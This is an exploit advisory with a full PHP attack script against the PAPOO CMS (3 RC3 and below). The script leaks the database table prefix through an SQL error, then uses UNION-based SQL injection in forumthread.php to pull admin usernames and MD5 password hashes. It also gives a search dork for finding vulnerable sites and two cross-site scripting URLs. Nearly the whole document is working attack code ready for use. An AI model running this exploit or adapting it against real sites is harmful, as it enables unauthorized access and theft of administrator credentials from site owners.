PAPOO <=3RC3 sql injection / admin credentials disclosure

2006.07.14
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/php -q -d short_open_tag=on <? echo "PAPOO <= 3_RC3 SQL injection / admin credentials disclosuren"; echo "by rgod rgod (at) autistici (dot) org [email concealed]n"; echo "site: http://retrogod.altervista.orgn"; echo "dork: "Help * Contact * Imprint * Sitemap" | "powered by papoo" | "powered by cms papoo"nn"; /* notes: works regardless of magic_quotes_gpc settings... there is some magic quotes disable code in variable_class.php near line 120-145 also you can always disclose table prefix... we have different number of columns in older version, we will shortly bruteforce query oh, we have two xss even: http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS] http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS] */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONSn"; echo "host: target server (ip/hostname)n"; echo "path: path to Papoon"; echo "Options:n"; echo " -T[prefix] specify a table prefix (there is nor a default one, try papoo or papoo_n"; echo " however, if not specified, we will disclose it)n"; echo " -p[port]: specify a port other than 80n"; echo " -P[ip:port]: specify a proxyn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /papoo/n"; echo "php ".$argv[0]." localhost /papoo/ -Tpapoo_n"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($prefix=="") { $packet="GET ".$p."forumthread.php?msgid=%27 HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"You have an error in your SQL syntax")) { $temp=explode("_papoo_message.forumid",$html); $temp2=explode("AND ",$temp[0]); $prefix=$temp2[count($temp2)-1]; echo "table prefix -> ".$prefix."n"; } else {die("Unable to disclose table prefix...n");} } $diff=array( ",0,0,0,0,0", ",0,0,0,0", ",0,0,0", ",0,0", ",0", "" ); for ($j=0; $j<=count($diff)-1; $j++) { $sql="9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':', password,'*WhOp*'),0,0,0,0,0".$diff[$j]."/**/FROM ".$prefix."_papoo_user/**/WHERE/**/gruppenid='g1,'/*"; $sql=urlencode($sql); $packet="GET ".$p."forumthread.php?msgid=".$sql." HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("*WhOp*",$html); for ($i=1; $i<=count($temp)-1; $i++) { $temp2=explode(":",$temp[$i]); if (is_hash($temp2[1])) { echo "--------------------------------------------------------n"; echo "admin -> ".$temp2[0]." n"; echo "password (md5) -> ".$temp2[1]." n"; echo "--------------------------------------------------------n"; die; } } } //if you are here... echo "exploit failed..."; ?> original url: http://retrogod.altervista.org/papoo_3rc3_sql.html


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